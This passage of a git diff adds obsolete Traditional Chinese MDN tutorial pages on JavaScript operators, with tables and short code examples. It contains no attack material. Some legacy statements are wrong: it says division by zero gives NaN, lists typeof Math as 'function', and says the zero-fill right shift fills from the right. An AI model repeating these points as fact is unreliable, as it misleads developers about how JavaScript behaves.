+   <td>x = x &amp; y</td>
+  </tr>
+  <tr>
+   <td>x ^= y</td>
+   <td>x = x ^ y</td>
+  </tr>
+  <tr>
+   <td>x |= y</td>
+   <td>x = x | y</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><strong>表 3.2: 代入運算子</strong></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子", "Core_JavaScript_1.5_教學:運算子:比較運算子") }}</p>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/位元運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/位元運算子/index.html
new file mode 100644
index 0000000000..05d1e006b1
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/位元運算子/index.html
@@ -0,0 +1,30 @@
+---
+title: 位元運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/位元運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<p> </p>
+<h3 id="位元運算子" name="位元運算子">位元運算子</h3>
+<p>位元運算子把他們的運算元視為一組 32 位元的集合（零或一），而非十進制、十六進制、八進制。例如，十進制數 9 的二進制表示法為 1001。位元運算子對這些二進制表示法進行運算，並返回標準的 JavaScript 數值。</p>
+<p>下表解說 JavaScript 的位元運算子。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>運算子</th> <th>用法</th> <th>說明</th> </tr> <tr> <td>位元 AND</td> <td><code>a &amp; b</code></td> <td>每一個對應至同一位元位置的兩個運算元兩者為 1 時，返回 1。</td> </tr> <tr> <td>位元 OR</td> <td><code>a | b</code></td> <td>每一個對應至同一位元位置的兩個運算元兩者或其中一者為 1 時，返回 1。</td> </tr> <tr> <td>位元 XOR</td> <td><code>a ^ b</code></td> <td>每一個對應至同一位元位置的兩個運算元其中一者而非兩者為 1 時，返回 1。</td> </tr> <tr> <td>位元 NOT</td> <td><code>~ a</code></td> <td>反轉運算元的位元。</td> </tr> <tr> <td>左移</td> <td><code>a &lt;&lt; b</code></td> <td>往左移動 a 的二進制表示法 b 位元，從右邊補 0。</td> </tr> <tr> <td>維持符號右移</td> <td><code>a &gt;&gt; b</code></td> <td>往右移動 a 的二進制表示法 b 位元，丟棄移出的位元。</td> </tr> <tr> <td>填 0 右移</td> <td><code>a &gt;&gt;&gt; b</code></td> <td>往右移動 a 的二進制表示法 b 位元，丟棄移出的位元，並從左邊補 0。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 3.5: 位元運算子</strong></small></p>
+<h4 id="位元邏輯運算子" name="位元邏輯運算子">位元邏輯運算子</h4>
+<p>大致上，位元邏輯運算子的運作如下︰</p>
+<ul> <li>運算元轉換成 32 位元整數，並表示為一系列的位元（0 或 1）。</li> <li>第一個運算元的每一個位元與第二個運算元對應的位元結成配對︰第一個位元對第一個位元、第二個位元對第二個位元，餘類推。</li> <li>運算子套用到每一對位元，運算結果以位元構成。</li>
+</ul>
+<p>舉個例子，9 的二進制表示法是 1001，15 的二進制表示法是 1111。因此，當位元的運算子套用到這些值上時，結果如下︰</p>
+<ul> <li>15 &amp; 9 的結果是 9 (1111 &amp; 1001 = 1001)</li> <li>15 | 9 的結果是 15 (1111 | 1001 = 1111)</li> <li>15 ^ 9 的結果是 6 (1111 ^ 1001 = 0110)</li>
+</ul>
+<h4 id="位元位移運算子" name="位元位移運算子">位元位移運算子</h4>
+<p>位元位移運算子有兩個運算元︰第一個是被移動的數值，第二個指定第一個運算元要移動的位元位置的數目。位移運算元的方向是以使用的運算元來控制。</p>
+<p>位移運算子轉換這些運算元為 32 位元整數，並返回與左邊運算元同類型的結果。</p>
+<p>位移運算子列於下表。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>運算子</th> <th>說明</th> <th>範例</th> </tr> <tr> <td>&lt;&lt;（左移）</td> <td>這個運算子把第一個運算元向左移動指定的位元數。丟棄向左移出的多餘位元。從右邊填補 0 的位元。</td> <td>9&lt;&lt;2 的結果是 36，因為 1001 向左移動 2 位元而變成 100100，此即 36。</td> </tr> <tr> <td>&gt;&gt;（維持符號右移）</td> <td>這個運算子把第一個運算元向右移動指定的位元數。丟棄向右移出的多餘位元。從左邊填補在最左邊複製的位元。</td> <td>9&gt;&gt;2 的結果是 2，因為 1001 向右移動 2 位元而變成 10，此即 2。同樣的，-9&gt;&gt;2 的結果是 -3，因為保留了正負號。</td> </tr> <tr> <td>&gt;&gt;&gt;（填 0 右移）</td> <td>這個運算子把第一個運算元向右移動指定的位元數。丟棄向右移出的多餘位元。從右邊填補 0 的位元。</td> <td>19&gt;&gt;&gt;2 的結果是 4，因為 10011 向右移動 2 位元而變成 100，此即 4。對於非負數而言，補 0 右移和維持符號右移的結果相同。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 3.6: 位元位移運算子</strong></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子:算術運算子", "Core_JavaScript_1.5_教學:運算子:邏輯運算子") }}</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_sobre_bits", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_bit-\u00e0-bit", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_bitowe" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/字串運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/字串運算子/index.html
new file mode 100644
index 0000000000..9ac4ce451e
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/字串運算子/index.html
@@ -0,0 +1,11 @@
+---
+title: 字串運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/字串運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h4 id="字串運算子" name="字串運算子">字串運算子</h4>
+<p>除了比較運算子可以用於字串值以外，連結運算子 (+) 把兩個字串值串連在一起，返回另一個以兩個運算元字串連結的字串。例如，<code>"my " + "string"</code> 返回<code> "my string"</code> 字串。</p>
+<p>代入運算子 += 的簡記法也可用於連結字串。例如，如果變數 <code>mystring</code> 內有 "alpha" 值，<code>mystring += "bet"</code> 表達式的求值為“alphabet”，並把這個值代入到 <code>mystring</code>。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子:邏輯運算子", "Core_JavaScript_1.5_教學:運算子:特殊運算子") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/String_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_li\u00e9s_aux_cha\u00eenes", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/String_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/String_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operacje_na_\u0142a\u0144cuchach" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/比較運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/比較運算子/index.html
new file mode 100644
index 0000000000..2ce01c1501
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/比較運算子/index.html
@@ -0,0 +1,14 @@
+---
+title: 比較運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/比較運算子
+---
+<p> </p>
+<h3 id="比較運算子" name="比較運算子">比較運算子</h3>
+<p><span class="comment">This seems to me kind of poorly explained, mostly the diference betwen "==" and "==="...</span>比較運算子比較他的運算元，並根據比較是否為真的結果返回邏輯值。運算元可以是數值、字串、邏輯或物件的值。字串是以 Unicode 的值作為標準的字典順序來比較。在大多數情況下，如果兩個運算元不是同樣的類型，JavaScript 會為了比較而嘗試把運算元轉換為適當的類型。（本規則的唯一例外是 <code>===</code> 和 <code>!==</code>，他會進行“嚴格的”相等性和不相等性的檢查，且在檢查等相性之前，並不會把運算元轉換為相容的類型。）通常以數值進行比較。下表以範例代碼解明比較運算子︰</p>
+<pre class="eval">var var1 = 3, var2 = 4;
+</pre>
+<table class="fullwidth-table"> <tbody> <tr> <th>運算子</th> <th>說明</th> <th>返回 true 的範例</th> </tr> <tr> <td>等於 (==)</td> <td>運算元相等時，返回 true。</td> <td><code>3 == var1</code><br> <p><code>"3" == var1</code></p> <code>3 == '3'</code></td> </tr> <tr> <td>不等於 (!=)</td> <td>運算元不相等時，返回 true。</td> <td><code>var1 != 4<br> var2 != "3"</code></td> </tr> <tr> <td>嚴格的等於 (===)</td> <td>運算元相等且類型相同時，返回 true。</td> <td><code>3 === var1</code></td> </tr> <tr> <td>嚴格的不等於 (!==)</td> <td>運算元不相等或類型不相同時，返回 true。</td> <td><code>var1 !== "3"<br> 3 !== '3'</code></td> </tr> <tr> <td>大於 (&gt;)</td> <td>左邊的運算元大於右邊的運算元時，返回 true。</td> <td><code>var2 &gt; var1<br> "12" &gt; 2</code></td> </tr> <tr> <td>大於或等於 (&gt;=)</td> <td>左邊的運算元大於或等於右邊的運算元時，返回 true。</td> <td><code>var2 &gt;= var1<br> var1 &gt;= 3</code></td> </tr> <tr> <td>小於 (&lt;)</td> <td>左邊的運算元小於右邊的運算元時，返回 true。</td> <td><code>var1 &lt; var2<br> "12" &lt; "2"</code></td> </tr> <tr> <td>小於或等於 (&lt;=)</td> <td>左邊的運算元小於或等於右邊的運算元時，返回 true。</td> <td><code>var1 &lt;= var2<br> var2 &lt;= 5</code></td> </tr> </tbody>
+</table>
+<p><small><strong>表 3.3: 比較運算子</strong></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:Operators:代入運算子", "Core_JavaScript_1.5_教學:運算子:算術運算子") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_comparaci\u00f3n", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_de_comparaison", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_por\u00f3wnania" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/特殊運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/特殊運算子/index.html
new file mode 100644
index 0000000000..bb5e99ae0a
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/特殊運算子/index.html
@@ -0,0 +1,185 @@
+---
+title: 特殊運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/特殊運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h3 id="特殊運算子" name="特殊運算子">特殊運算子</h3>
+<p>JavaScript 提供下列的特殊運算子︰</p>
+<ul> <li>{{ Anch("條件運算子") }}</li> <li>{{ Anch("逗號運算子") }}</li> <li>{{ Anch("delete") }}</li> <li>{{ Anch("in") }}</li> <li>{{ Anch("instanceof") }}</li> <li>{{ Anch("new") }}</li> <li>{{ Anch("this") }}</li> <li>{{ Anch("typeof") }}</li> <li>{{ Anch("void") }}</li>
+</ul>
+<h4 id="條件運算子" name="條件運算子">條件運算子</h4>
+<p>條件運算子是 JavaScript 唯一使用三個運算元的運算子。運算子根據條件得到兩個值的其中一個。語法為︰</p>
+<pre>condition ? val1 : val2
+</pre>
+<p>如果 <code>condition</code> 為 true，運算子得到 <code>val1</code> 的值。否則得到 <code>val2</code> 的值。你可以在條件運算子上使用標準運算子。</p>
+<p>例如，</p>
+<pre>status = (age &gt;= 18) ? "adult" : "minor"
+</pre>
+<p>這個語句把“adult”的值代入給變數 <code>status</code>，只要 <code>age</code> 是 18 以上。否則，把“minor”的值代入給 <code>status</code>。</p>
+<h4 id="逗號運算子" name="逗號運算子">逗號運算子</h4>
+<p>逗號運算子 (,) 簡單的對他的兩個運算元求值，並返回第二個運算元的值。這個運算子主要用在 <code>for</code> 迴圈內部，使多個變數可在每一次的循環中更新。</p>
+<p>例如，如果 <code>a</code> 是各邊含有 10 個元素的二維陣列，以下代碼使用逗號運算子同時遞增兩個變數。這個代碼在陣列裡輸出斜三角元素︰</p>
+<pre>for (var i=0, j=9; i &lt;= 9; i++, j--)
+   document.writeln("a["+i+"]["+j+"]= " + a[i][j])
+</pre>
+<h4 id="delete" name="delete">delete</h4>
+<p>delete 運算子可刪除物件、物件的屬性、陣列中指定索引的元素。語法為︰</p>
+<pre>delete objectName
+delete objectName.property
+delete objectName[index]
+delete property // 只在 with 語法之內有效
+</pre>
+<p>此處的 <code>objectName</code> 是指物件的名稱，<code>property</code> 是指現存的屬性，<code>index</code> 是指陣列中以整數表示的元素位置。</p>
+<p>第四種於物件中刪除屬性的形式，只在 <code>with</code> 語法之內有效。</p>
+<p>你可以使用 <code>delete</code> 運算子刪除以隱式宣告、沒有使用 <code>var</code> 語法的變數。</p>
+<p>如果 <code>delete</code> 運算子成功的話，他會把屬性或元素設定為 <code>undefined</code>。如果操作是可行的話，<code>delete</code> 運算子返回 true；如果操作不可行，就返回 false。</p>
+<pre>x=42
+var y= 43
+myobj=new Number()
+myobj.h=4      // 建立屬性 h
+delete x       // 返回 true（如果以隱式宣告，就可以刪除）
+delete y       // 返回 false（如果以 var 宣告，就不能刪除）
+delete Math.PI // 返回 false（預先定義的屬性不能刪除）
+delete myobj.h // 返回 true（使用者定義的屬性可以刪除）
+delete myobj   // 返回 true（如果以隱式宣告，就可以刪除）</pre>
+<p><strong>刪除陣列裡的元素</strong><br>
+當你刪除陣列元素時，陣列的長度並不受影響。舉例來說，如果你刪除 a{{ mediawiki.external(3) }}，a{{ mediawiki.external(4) }} 仍然是 {{ mediawiki.external(4) }}，a{{ mediawiki.external(3) }} 則是 undefined。</p>
+<p>當 <code>delete</code> 運算子移除陣列的元素時，這個元素便不復存在於陣列之中。在以下範例中，使用 <code>delete</code> 移除 trees{{ mediawiki.external(3) }}。</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+delete trees[3]
+if (3 in trees) {
+   // 此處不會被執行
+}
+</pre>
+<p>如果你希望陣列元素存在、且元素的值是未定義，就使用 <code>undefined</code> 關鍵字取代 <code>delete</code> 運算子。在以下範例中，<code>trees{{ mediawiki.external(3) }}</code> 的值被代入為 <code>undefined</code>，而陣列元素仍然存在︰</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+trees[3]=undefined
+if (3 in trees) {
+   // 此處會被執行
+}
+</pre><h4 id="in" name="in">in</h4>
+<p>如果指定的屬性存在於指定的物件中，<code>in</code> 運算子返回 true。語法為︰</p>
+<pre>propNameOrNumber in objectName
+</pre>
+<p>此處 <code>propNameOrNumber</code> 是指表示為屬性名的字串、或表示為陣列索引的數值的表達式，<code>objectName</code> 是指物件的名稱。</p>
+<p>以下範例示範 <code>in</code> 運算子的使用方法。</p>
+<pre>// 陣列
+trees=new Array("redwood","bay","cedar","oak","maple")
+0 in trees        // 返回 true
+3 in trees        // 返回 true
+6 in trees        // 返回 false
+"bay" in trees    // 返回 false（你必須指定索引編號，而不是索引上的值）
+"length" in trees // 返回 true（length 是 Array 的屬性）
+
+// 預先定義的物件
+"PI" in Math          // 返回 true
+myString=new String("coral")
+"length" in myString  // 返回 true
+
+// 自訂的物件
+mycar = {make:"Honda",model:"Accord",year:1998}
+"make" in mycar  // 返回 true
+"model" in mycar // 返回 true
+</pre><h4 id="instanceof" name="instanceof">instanceof</h4>
+<p>如果指定的物件屬於指定的物件的類型，<code>instanceof</code> 運算子返回 true。語法為︰</p>
+<pre>objectName instanceof objectType
+</pre>
+<p>此處 <code>objectName</code> 是指用來和 <code>objectType</code> 作比較的物件的名稱，<code>objectType</code> 是指物件的類型，如 <code>Date</code> 或 <code>Array</code>。</p>
+<p>當你需要確認執行中物件的類型時，就使用 <code>instanceof</code>。舉個例子，當接受到例外時，你可以根據被拋出的例外來決定要執行哪一條例外處理。</p>
+<p>例如，以下代碼使用 <code>instanceof</code> 確認 <code>theDay</code> 是否屬於 <code>Date</code> 物件。由於 <code>theDay</code> 屬於 <code>Date</code> 物件，所以會執行 <code>if</code> 語法裡的語句。</p>
+<pre>theDay=new Date(1995, 12, 17)
+if (theDay instanceof Date) {
+   // 被執行的語句
+}
+</pre><h4 id="new" name="new">new</h4>
+<p>你可以使用 <code>new</code> 運算子來建立使用者定義的物件類型的實體，或建立預先定義的物件類型 <code>Array、Boolean</code><code>、</code><code>Date</code><code>、</code><code>Function</code><code>、</code><code>Image</code><code>、</code><code>Number</code><code>、</code><code>Object</code><code>、</code><code>Option</code><code>、</code><code>RegExp</code><code>、</code><code>String</code> 其中之一。在伺服器上，你也可以用於 <code>DbPool</code><code>、</code><code>Lock</code><code>、</code><code>File</code><code>、</code><code>SendMail</code>。<code>new</code> 的使用方法如下︰</p>
+<pre>objectName = new objectType ( param1 [,param2] ...[,paramN] )
+</pre>
+<p>你也可以使用物件的初始化子來建立物件，如同 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BB%BA%E7%AB%8B%E6%96%B0%E7%9A%84%E7%89%A9%E4%BB%B6/%E7%89%A9%E4%BB%B6%E5%88%9D%E5%A7%8B%E5%8C%96%E5%AD%90%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/建立新的物件/物件初始化子的使用">物件初始化子的使用</a> 所述。</p>
+<p>參閱 Core JavaScript 參考中的 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%89%B9%E6%AE%8A%E9%81%8B%E7%AE%97%E5%AD%90/new_%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 參考/運算子/特殊運算子/new 運算子">new 運算子</a> 頁面，以取得更多資訊。</p><h4 id="this" name="this">this</h4>
+<p>使用 <code>this</code> 關鍵字可參考目前所使用的物件。一般而言，<code>this</code> 是在方法裡、並參考了呼叫這個方法的物件。<code>this</code> 的使用方法如下︰</p>
+<pre>this[propertyName]
+</pre>
+<p><strong>範例 1</strong><br>
+假設有一個稱為 <code>validate</code> 的函數可驗證某一物件的 <code>value</code> 屬性，並以物件和上限、下限值作為參數︰</p>
+<pre>function validate(obj, lowval, hival) {
+   if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+      alert("Invalid Value!")
+}
+</pre>
+<p>你可以在每一個表單元素的 <code>onChange</code> 事件處理器中呼叫 <code>validate</code>，並使用 <code>this</code> 傳送表單元素，如下範例︰</p>
+<pre>&lt;B&gt;Enter a number between 18 and 99:&lt;/B&gt;
+&lt;INPUT TYPE = "text" NAME = "age" SIZE = 3
+   onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p><strong>範例 2</strong><br>
+結合 <code>form</code> 屬性時，<code>this</code> 也可以參考目前所使用的物件的親表單。在以下範例中，表單 <code>myForm</code> 內含一個 <code>Text</code> 物件和按鈕。當使用者點擊按鈕，<code>Text</code> 物件的值便設定為表單的名稱。按鈕的 <code>onClick</code> 事件處理器使用 <code>this.form</code> 來參考親表單 <code>myForm</code>。</p>
+<pre>&lt;FORM NAME="myForm"&gt;
+Form name:&lt;INPUT TYPE="text" NAME="text1" VALUE="Beluga"&gt;
+&lt;P&gt;
+&lt;INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
+   onClick="this.form.text1.value=this.form.name"&gt;
+&lt;/FORM&gt;
+</pre>
+<h4 id="typeof" name="typeof">typeof</h4>
+<p><code>typeof</code> 運算子可按下列兩種方式來使用︰</p>
+<pre>1. typeof operand
+2. typeof (operand)
+</pre>
+<p><code>typeof</code> 運算子可返回字串，這些字串指出未求值的運算元的類型。<code>operand</code> 是指字串、變數、關鍵字、物件，其類型可被 <code>typeof</code> 返回。括弧並非必要的。</p>
+<p>假設你定義了以下變數︰</p>
+<pre>var myFun = new Function("5+2")
+var shape="round"
+var size=1
+var today=new Date()
+</pre>
+<p><code>typeof</code> 運算子對以下變數返回以下結果︰</p>
+<pre>typeof myFun 返回的是 function
+typeof shape 返回的是 string
+typeof size 返回的是 number
+typeof today 返回的是 object
+typeof dontExist 返回的是 undefined
+</pre>
+<p>對於 <code>true</code> 和 <code>null</code> 關鍵字而言，<code>typeof</code> 運算子返回以下結果︰</p>
+<pre>typeof true 返回的是 boolean
+typeof null 返回的是 object
+</pre>
+<p>對於數字或字串而言，<code>typeof</code> 運算子返回以下結果︰</p>
+<pre>typeof 62 返回的是 number
+typeof 'Hello world' 返回的是 string
+</pre>
+<p>對於屬性值而言，<code>typeof</code> 運算子返回屬性裡的值的類型︰</p>
+<pre>typeof document.lastModified 返回的是 string
+typeof window.length 返回的是 number
+typeof Math.LN2 返回的是 number
+</pre>
+<p>對於方法和函數而言，<code>typeof</code> 運算子返回以下結果︰</p>
+<pre>typeof blur 返回的是 function
+typeof eval 返回的是 function
+typeof parseInt 返回的是 function
+typeof shape.split 返回的是 function
+</pre>
+<p>對於預先定義的物件而言，<code>typeof</code> 運算子返回以下結果︰</p>
+<pre>typeof Date 返回的是 function
+typeof Function 返回的是 function
+typeof Math 返回的是 function
+typeof Option 返回的是 function
+typeof String 返回的是 function
+</pre>
+<h4 id="void" name="void">void</h4>
+<p><code>void</code> 運算子可按下列兩種方式來使用︰</p>
+<pre>1. void (expression)
+2. void expression
+</pre>
+<p><code>void</code> 運算子表示表達式求值之後不必把值返回。<code>expression</code> 是指可供求值的 JavaScript 表達式。表達式兩邊的圓括號並不是必要的，但圓括號的使用對閱讀有利。</p>
+<p>你可以把 <code>void</code> 運算子使用於當作超連結的表達式。表達式會被求值，但不會被載入而取代目前的文件。</p>
+<p>以下代碼建立了什麼也不做的超連結。當使用者點擊連結時，<code>void(0)</code> 的求值為 undefined，這在 JavaScript 中並沒有作用。</p>
+<pre>&lt;A HREF="javascript:void(0)"&gt;Click here to do nothing&lt;/A&gt;
+</pre>
+<p>以下代碼建立了超連結，當使用者點擊時，就傳送表單。</p>
+<pre>&lt;A HREF="javascript:void(document.form.submit())"&gt;
+Click here to submit&lt;/A&gt;
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子:字串運算子", "Core_JavaScript_1.5_教學:正規表達式的建立") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_especiales", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_sp\u00e9ciaux", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_specjalne" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/算術運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/算術運算子/index.html
new file mode 100644
index 0000000000..1c99215d75
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/算術運算子/index.html
@@ -0,0 +1,19 @@
+---
+title: 算術運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/算術運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h3 id="算術運算子" name="算術運算子">算術運算子</h3>
+<p>算術運算子把數值（字面表達或變數其中一種）作為運算元，並返回 1 個數值。標準的算術運算子有加法 (+)、減法 (-)、乘法 (*)、除法 (/)。這些運算子在大部分的程式語言中，都以原來的方式運作。當使用於浮點數時（須特別注意，除以零會產生 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%B1%AC%E6%80%A7/NaN" title="zh tw/Core JavaScript 1.5 參考/全域屬性/NaN"><code>NaN</code></a>）︰</p>
+<pre class="eval">1 / 2      // 在 JavaScript 中返回 0.5
+1 / 2      // 在 Java 中返回 0（這兩個數並未明確表示為浮點數）
+
+1.0 / 2.0  // 在 JavaScript 和 Java 中都返回 0.5
+</pre>
+<p>此外，JavaScript 提供了列於下表的算術運算子。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>運算子</th> <th>說明</th> <th>範例</th> </tr> <tr> <td>%（模數）</td> <td>二元運算子。返回兩數相除之後的整數餘數。</td> <td>12 % 5 返回 2。</td> </tr> <tr> <td>++（遞增）</td> <td>一元運算子。運算元加 1。如果用作為前綴運算子 (++x)，返回運算元加 1 之後的值；如果用作為後綴運算子 (x++)，返回運算元加 1 之前的值。</td> <td>如果 <code>x</code> 是 3，然後 <code>++x</code> 把 <code>x</code> 設為 4 並返回 4，反之 <code>x++</code> 返回 3，然後把 <code>x</code> 設為 4。</td> </tr> <tr> <td>--（遞減）</td> <td>一元運算子。運算元減 1。返回的值和遞增運算子類似。</td> <td>如果 <code>x</code> 是 3，然後 <code>--x</code> 把 <code>x</code> 設為 2 並返回 2，反之 <code>x--</code> 返回 3，然後把 <code>x</code> 設為 2。</td> </tr> <tr> <td>-（正負反轉）</td> <td>一元運算子。返回將運算子的正負號反轉的值。</td> <td>如果 <code>x</code> 是 3，然後 <code>-x</code> 返回 -3。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 3.4: 算術運算子</strong></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子:比較運算子", "Core_JavaScript_1.5_教學:運算子:位元運算子") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_aritm\u00e9ticos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_arithm\u00e9tiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/邏輯運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/邏輯運算子/index.html
new file mode 100644
index 0000000000..e4e64857df
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/邏輯運算子/index.html
@@ -0,0 +1,42 @@
+---
+title: 邏輯運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/邏輯運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h3 id="邏輯運算子" name="邏輯運算子">邏輯運算子</h3>
+<p>邏輯運算子通常和布林（邏輯）值一起使用，並返回布林值。然而，&amp;&amp; 和 || 運算子實際上返回的是指定的運算元的其中一個的值，所以如果這些運算子與非布林值一起使用，有可能返回非布林值。邏輯運算子的說明如下表。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>運算子</th> <th>用法</th> <th>說明</th> </tr> <tr> <td>&amp;&amp;</td> <td>expr1 &amp;&amp; expr2</td> <td>（邏輯 AND）如果 expr1 可以轉換為 false，就返回 expr1。否則返回 expr2。所以，當使用於布林值時，如果兩個運算元都為 true，&amp;&amp; 返回 true。否則返回 false。</td> </tr> <tr> <td>||</td> <td>expr1 || expr2</td> <td>（邏輯 OR）如果 expr1 可以轉換為 true，就返回 expr1。否則返回 expr2。所以，當使用於布林值時，如果其中一個運算元為 true，|| 返回 true，如果兩個運算元都為 false，就返回 false。</td> </tr> <tr> <td>!</td> <td>!expr</td> <td>（邏輯 NOT）如果運算元可以轉換為 true，就返回 false。否則返回 true。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 3.7: 邏輯運算子</strong></small></p>
+<p>可以轉換成 false 的表達式的例子有︰對 null、0、空字串 ("") 或 undefined 求值。</p>
+<p>以下代碼為 &amp;&amp;（邏輯 AND）運算子的範例。</p>
+<pre>a1=true &amp;&amp; true       // t &amp;&amp; t 返回 true
+a2=true &amp;&amp; false      // t &amp;&amp; f 返回 false
+a3=false &amp;&amp; true      // f &amp;&amp; t 返回 false
+a4=false &amp;&amp; (3 == 4)  // f &amp;&amp; f 返回 false
+a5="Cat" &amp;&amp; "Dog"     // t &amp;&amp; t 返回 Dog
+a6=false &amp;&amp; "Cat"     // f &amp;&amp; t 返回 false
+a7="Cat" &amp;&amp; false     // t &amp;&amp; f 返回 false
+</pre>
+<p>以下代碼為 ||（邏輯 OR）運算子的範例。</p>
+<pre>o1=true || true       // t || t 返回 true
+o2=false || true      // f || t 返回 true
